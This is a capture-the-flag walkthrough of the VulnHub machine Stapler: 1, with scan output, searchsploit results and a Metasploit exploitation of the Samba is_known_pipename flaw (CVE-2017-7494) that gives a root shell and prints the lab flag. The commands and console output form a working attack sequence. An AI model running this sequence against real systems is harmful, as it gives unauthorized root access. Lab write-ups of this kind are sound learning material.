

Stapler: 1 Walkthrough

Machine Information

Field	Details
Name	Stapler: 1
Author	g0tmi1k
Series	Stapler
Release Date	8 June 2016
Difficulty	Medium
Platform	VulnHub
URL	https://www.vulnhub.com/entry/stapler-1,150/

Introduction

Stapler: 1 is a classic VulnHub machine created by g0tmi1k. The machine contains numerous intentionally vulnerable services and misconfigurations designed to encourage thorough enumeration.

The box exposes several services including FTP, SSH, DNS, Samba, MySQL, and multiple web applications. During enumeration, Samba is identified as running a vulnerable version that is susceptible to the well-known Samba "is_known_pipename()" remote code execution vulnerability (CVE-2017-7494). Exploiting this vulnerability grants immediate root access to the machine.

This machine demonstrates the importance of service enumeration, vulnerability identification, and exploitation of outdated software.

1. Network Discovery

The first step is to identify the target machine on the local network.

```
sudo netdiscover -i eth0
```

Output:

192.168.10.16

Target identified:

Target IP: 192.168.10.16

```
File Actions Edit View Help
Currently scanning: 192.168.0.0/16 | Screen View: Unique Hosts

8 Captured ARP Req/Rep packets, from 5 hosts. Total size: 480

+-----+-----+-----+-----+-----+-----+
| IP           | At MAC Address | Count | Len | MAC Vendor / Hostname |
+-----+-----+-----+-----+-----+-----+
| 192.168.10.4 | 50:c2:e8:95:0b:37 | 1     | 60  | CLOUD NETWORK TECHNOLOGY SINGAPORE PTE. LTD. |
| 192.168.10.16 | 08:00:27:d9:7f:d0 | 1     | 60  | PCS Systemtechnik GmbH |
| 192.168.10.1 | b4:f9:49:43:79:2c | 4     | 240 | optilink networks pvt ltd |
| 192.168.10.5 | 86:a6:8c:1e:45:9c | 1     | 60  | Unknown vendor |
| 192.168.10.11 | 5a:00:a1:7a:77:36 | 1     | 60  | Unknown vendor |
```

2. Port Scanning

Perform a full TCP port scan with service detection.

```
sudo nmap -sC -sV -p- 192.168.10.16 --min-rate 10000
```

Open ports discovered:

Port	Service
21	FTP
22	SSH
53	DNS
80	HTTP
139	Samba
666	Unknown Service
3306	MySQL
12380	HTTP

Important findings:

- Anonymous FTP access enabled.
- Samba version 4.3.9 running.

- MySQL service exposed.
- Additional Apache website on port 12380.

```
(kali@kali)~[~/Vulnhub-Machine]
$ sudo nmap -sC -sV -p- 192.168.10.16 --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-06 19:12 IST
Nmap scan report for 192.168.10.16
Host is up (0.028s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
20/tcp    closed ftp-data
21/tcp    open  ftp          vsftpd 2.0.8 or later

| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 192.168.10.13
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 1
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp    open  domain       dnsmasq 2.75
| dns-nsid:
|_  bind.version: dnsmasq-2.75
80/tcp    open  http         PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open  netbios-ssn  Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
```

```

666/tcp open  pkzip-file .ZIP file
| fingerprint-strings:
| NULL:
| message2.jpgUT
| QmUX
| "DLE"
| #;3[
| \xf6
| u(r
| qVQ6
| y_7n2
| 36M-([
| 9-a)T
| L)AJ
| -noy.9
3306/tcp open  mysql      MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 8
| Capabilities flags: 63487
| Some Capabilities: Speaks41ProtocolNew, Support41Auth, LongColumnFlag, SupportsLoadDataLocal, Speaks41ProtocolOld, SupportsTransactions, ConnectWithDatabase, FoundRows, InteractiveC
| tent, IgnoreSigpipes, DontAllowDatabaseTableColumn, ODBCClient, LongPassword, SupportsCompression, IgnoreSpaceBeforeParenthesis, SupportsAuthPlugins, SupportsMultipleResults, SupportsMul
| tiplesets
| Status: Autocommit
| Salt: {\x06\x0f5\x08/2\x11
| \x07E\x01\x05N\x021\x7fV3z
| Auth Plugin Name: mysql_native_password
12380/tcp open  http       Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Tim, we need to-do better next year for Initech
|_ http-server-header: Apache/2.4.18 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF:2058,"PK\x03\x04\x1410\x0210\x0810d\x08\x0c3Hp\xdf\x1515x81xaa,\x010x15
SF:2100\xdc0\x1c0message21.jpgUT1t0\x031~\x9cQWJ\x9cQmUX\x0b0\x01\x04
SF:1xf51x0100\x04\x141010\x0ad2\x0bT\x131xe7\xbe\xefP\x941x881x88A0\x02
SF:1x0101x0bU7\xcfV1xf1\xaf911021~x841x0d0RW1x151x851J\xafV1011E1x021x
SF:0c1191x1461xc61xb41xb31xcca1xaen1x891x0a1x8aVx111x011xc5W1~x201x0f1xb
SF:21xf71x061x881vn1x82201x99d1xb71xc8#;1[1r\xccddr1x871xbd1xcF91xf71xaeU1
SF:xeeV1xeb1xdc1xb30X1xacV1xf921xf3e1xf61xdf1xf11xfxf1xf21~x9f1xf31x991xd3
SF:1x08y1xb0a1xe31x061xc61xc51x051x821~1xfe1x201xa71x051~1xb5y1xaf1xf81xa0
SF:1x6a1xc61~1xf11~972cK091~vbd1x0b1vbd1xb71nc1x0c1xae11x01x041~1x0c11x03
SF:17x0a1x0511b11xf21ccr1~1Kc61x901xb01xeb1x011xd01x21f1x0e1x01x01x011xf

```

```
Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_  clock-skew: mean: -19m59s, deviation: 34m34s, median: -2s
|_  nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_  smb-os-discovery:
|     OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|     Computer name: red
|     NetBIOS computer name: RED\x00
|     Domain name: \x00
|     FQDN: red
|_  System time: 2026-06-06T14:43:00+01:00
|_  smb2-time:
|     date: 2026-06-06T13:42:56
|_  start_date: N/A
|_  smb2-security-mode:
|     3:1:1:
|_  Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.50 seconds
```

3. Service Enumeration

The machine exposes numerous services that could potentially provide access.

FTP Enumeration

Anonymous login is permitted.

```
ftp 192.168.10.16
```

Although login succeeds, directory listing is restricted:

```
PASV failed: 550 Permission denied
```

No useful information was obtained from FTP.

Web Enumeration

Port 80 returns a simple 404 page.

Port 12380 reveals a custom page:

```
Tim, we need to-do better next year for Initech
```

The web services do not immediately provide a direct attack path.

MySQL Enumeration

MySQL is exposed externally.

```
3306/tcp open mysql
```

No credentials are available at this stage.

4. Samba Enumeration

The most interesting service identified is Samba.

Nmap reveals:

```
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu
```

Since Samba 4.3.9 is relatively old, we search for public exploits.

```
searchsploit samba 4.3.9
```

Result:

```
Samba is_known_pipename() Arbitrary Module Load
```

This corresponds to:

```
CVE-2017-7494
```

A critical remote code execution vulnerability.

```
(kali@kali)~/Vulnhub-Machine
$ searchsploit samba 4.3.9
```

Exploit Title	Path
Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - 'is_known_pipename()' Arbitrary Module Load (Metasploit)	linux/remote/42084.rb

```
Shellcodes: No Results
```

5. Verifying the Vulnerability

Launch Metasploit.

```
msfconsole -q
```

Search for the module.

```
search is_known_pipename()
```

Result:

```
exploit/linux/samba/is_known_pipename
```

Load the module.

```
use exploit/linux/samba/is_known_pipename
```

```
(kali@kali)-[~/Vulnhub-Machine]
$ msfconsole -q
msf > search is_known_pipename()

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/linux/samba/is_known_pipename  2017-03-24      excellent Yes     Samba is_known_pipename() Arbitrary Module Load
1  \_ target: Automatic (Interact)         .               .       .       .
2  \_ target: Automatic (Command)         .               .       .       .
3  \_ target: Linux x86                   .               .       .       .
4  \_ target: Linux x86_64                 .               .       .       .
5  \_ target: Linux ARM (LE)               .               .       .       .
6  \_ target: Linux ARM64                  .               .       .       .
7  \_ target: Linux MIPS                   .               .       .       .
8  \_ target: Linux MIPSLE                 .               .       .       .
9  \_ target: Linux MIPS64                 .               .       .       .
10 \_ target: Linux MIPS64LE               .               .       .       .
11 \_ target: Linux PPC                    .               .       .       .
12 \_ target: Linux PPC64                  .               .       .       .
13 \_ target: Linux PPC64 (LE)             .               .       .       .
14 \_ target: Linux SPARC                  .               .       .       .
15 \_ target: Linux SPARC64               .               .       .       .
16 \_ target: Linux s390x                  .               .       .       .

Interact with a module by name or index. For example info 16, use 16 or use exploit/linux/samba/is_known_pipename
After interacting with a module you can manually set a TARGET with set TARGET 'Linux s390x'

msf > use 0
[*] No payload configured, defaulting to cmd/unix/interact
```

6. Exploit Configuration

Configure the target host.

```
set RHOSTS 192.168.10.16
```

Since Samba is running on port 139:

```
set RPORT 139
```

Verify options:

```
show options
```

The exploit is ready.

```
msf exploit(linux/samba/is_known_pipename) > show options
Module options (exploit/linux/samba/is_known_pipename):


| Name           | Current Setting | Required | Description                                                                                                           |
|----------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------|
| CHOST          |                 | no       | The local client address                                                                                              |
| CPORT          |                 | no       | The local client port                                                                                                 |
| Proxies        |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapn1, socks4, http, socks5, socks5h |
| RHOSTS         |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                |
| RPORT          | 445             | yes      | The SMB service port (TCP)                                                                                            |
| SMB_FOLDER     |                 | no       | The directory to use within the writeable SMB share                                                                   |
| SMB_SHARE_NAME |                 | no       | The name of the SMB share containing a writeable directory                                                            |


Exploit target:


| Id | Name                 |
|----|----------------------|
| 0  | Automatic (Interact) |


View the full module info with the info, or info -d command.
msf exploit(linux/samba/is_known_pipename) > set rhosts 192.168.10.16
rhosts => 192.168.10.16
msf exploit(linux/samba/is_known_pipename) > set rport 139
rport => 139
```

7. Exploiting Samba

Run the exploit.

```
exploit
```

Metasploit uploads a malicious shared object file and attempts to load it through Samba.

Output:

```
Uploaded payload to \\192.168.10.16\tmp\sjRyFlEi.so
Loading the payload...
Probe response indicates the interactive payload was loaded...
```

Shell obtained:

Command shell session opened

```
msf exploit(linux/samba/is_known_pipename) > exploit
[*] 192.168.10.16:139 - Using location \\192.168.10.16\tmp\ for the path
[*] 192.168.10.16:139 - Retrieving the remote path of the share 'tmp'
[*] 192.168.10.16:139 - Share 'tmp' has server-side path '/var/tmp'
[*] 192.168.10.16:139 - Uploaded payload to \\192.168.10.16\tmp\KZeNZXRa.so
[*] 192.168.10.16:139 - Loading the payload from server-side path /var/tmp/KZeNZXRa.so using \\PIPE\var/tmp/KZeNZXRa.so ...
[-] 192.168.10.16:139 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.10.16:139 - Loading the payload from server-side path /var/tmp/KZeNZXRa.so using /var/tmp/KZeNZXRa.so ...
[-] 192.168.10.16:139 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.10.16:139 - Uploaded payload to \\192.168.10.16\tmp\sjRyFLEi.so
[*] 192.168.10.16:139 - Loading the payload from server-side path /var/tmp/sjRyFLEi.so using \\PIPE\var/tmp/sjRyFLEi.so ...
[-] 192.168.10.16:139 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.10.16:139 - Loading the payload from server-side path /var/tmp/sjRyFLEi.so using /var/tmp/sjRyFLEi.so ...
[*] 192.168.10.16:139 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 1 opened (192.168.10.13:33085 → 192.168.10.16:139) at 2026-06-06 19:21:12 +0530
```

8. Initial Access

Verify privileges.

```
id
```

Output:

```
uid=0(root) gid=0(root)
```

The exploit provides immediate root access.

Verify:

```
whoami
```

Output:

```
root
```

No privilege escalation is required.

```
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
```


9. Root Enumeration

Navigate to the root directory.

```
cd /root  
ls
```

Files discovered:

```
fix-wordpress.sh  
flag.txt  
issue  
python.sh  
wordpress.sql
```

The flag is stored inside:

```
flag.txt
```

```
ls  
cd /root  
ls  
fix-wordpress.sh  
flag.txt  
issue  
python.sh  
wordpress.sql
```

10. Capturing the Flag

Display the flag.

```
cat flag.txt
```

Output:

```
~~~~~<(Congratulations)>~~~~~  
  
b6b545dc11b7a270f4bad23432190c75162c4a2b
```

Root access and flag successfully obtained.

```
cat flag.txt
~~~~~<(Congratulations)>~~~~~

Sorry guys, I-Sides happened too quick

b6b545dc11b7a270f4bad23432190c75162c4a2b
```

Attack Path Summary

1. Discover target using Netdiscover.
2. Enumerate services with Nmap.
3. Identify Samba 4.3.9 service.
4. Search for known vulnerabilities.
5. Discover CVE-2017-7494 (is_known_pipename).
6. Use Metasploit Samba RCE module.
7. Gain remote shell.
8. Receive root-level access directly.
9. Read root flag.

Vulnerabilities Identified

1. Outdated Samba Service

Samba 4.3.9

Affected by:

Allows remote code execution through arbitrary shared library loading.

2. Excessive Service Exposure

The machine exposes:

- FTP
- SSH
- DNS
- Samba
- MySQL
- Multiple Web Servers

A larger attack surface increases risk.

3. Writable Samba Share

The exploit relies on uploading a malicious shared object into a writable share before loading it through Samba.

Tools Used

- Netdiscover
 - Nmap
 - Searchsploit
 - Metasploit Framework
 - FTP Client
 - Samba Enumeration Tools
-

Lessons Learned

This machine highlights several important penetration testing concepts:

- Always perform complete service enumeration.
 - Identify software versions wherever possible.
 - Research known vulnerabilities for exposed services.
 - Legacy services often contain publicly available exploits.
 - Samba vulnerabilities can lead directly to remote code execution.
-

Conclusion

Stapler: 1 is a classic VulnHub machine that rewards thorough enumeration. While multiple services are exposed, the quickest path to compromise is through the vulnerable Samba service affected by CVE-2017-7494.

Exploiting the Samba "is_known_pipename()" vulnerability provides immediate root access, making this machine an excellent exercise for learning service enumeration, vulnerability assessment, and remote code execution exploitation.

The box serves as a reminder of the dangers of running outdated software in production environments.